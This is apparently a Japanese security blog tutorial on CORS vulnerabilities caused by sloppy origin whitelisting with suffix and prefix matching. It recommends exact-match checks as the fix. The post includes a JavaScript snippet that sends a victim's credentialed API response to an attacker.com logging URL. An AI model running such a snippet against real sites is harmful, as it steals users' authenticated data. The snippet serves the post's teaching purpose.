Shikata Ga Nai

Private? There is no such things.

CORSのOriginヘッダ処理エラーによる脆弱性

Hello there, ('ω')ノ

🎯 目的

今回は、CORS(クロスオリジンリソース共有)のOriginヘッダ処理の実装ミスによって発生する脆弱性について解説します。特に、ホワイトリストによるオリジン検証が甘い場合に、攻撃者が偽装ドメインを使って認証済みのデータにアクセスできる事例を紹介します。


🧩 ホワイトリストの基本実装例

  1. サーバーはリクエストヘッダの Origin を読み取る
  2. 許可されたドメインのリスト(ホワイトリスト)と照合
  3. 一致する場合は Access-Control-Allow-Origin に反映してレスポンス
Origin: https://innocent-website.com
↓
Access-Control-Allow-Origin: https://innocent-website.com

🐞 よくある実装ミス

❌ サフィックスマッチ(末尾一致)

  • 許可対象: *.normal-website.com
  • 誤実装: endsWith("normal-website.com")
  • 攻撃者が hackersnormal-website.com を登録すると許可されてしまう

❌ プレフィックスマッチ(先頭一致)

  • 許可対象: normal-website.com*
  • 誤実装: startsWith("normal-website.com")
  • 攻撃者が normal-website.com.evil-user.net を使うと許可されてしまう

🧪 攻撃シナリオ

攻撃者がCORSを利用して、被害者のセッション情報付きで機密APIへリクエスト:

var req = new XMLHttpRequest();
req.onload = function() {
    location = 'https://attacker.com/log?data=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://normal-website.com/sensitive-data', true);
req.withCredentials = true;
req.send();

攻撃者のドメインが不正にCORSで許可されていれば、セッションクッキー付きの機密データが攻撃者のサーバに送られてしまいます。


🛡️ 対策

  • Origin の厳密一致チェック(完全一致するかどうかを === で評価)
  • ワイルドカード的な部分一致・正規表現の使用を避ける、または明確に検証
  • 信頼するドメインリストは静的に管理
  • Access-Control-Allow-Credentials を使用する場合は Allow-Origin* を絶対使わない
  • サブドメインの許可には .example.com のようなドット付き末尾一致を使う(誤検出を防止)

✅ まとめ

  • CORSホワイトリストのミスは偽装ドメインによる情報漏洩を引き起こす
  • startsWith()endsWith() の誤用は典型的な落とし穴
  • 正しいCORS設定は、セッション保護とクロスオリジン通信制御の基盤となる

このような設定ミスは簡単に見過ごされがちですが、非常に深刻な脆弱性を引き起こすため、コードレビューやテストの段階でしっかり確認しましょう。

Best regards, (^^ゞ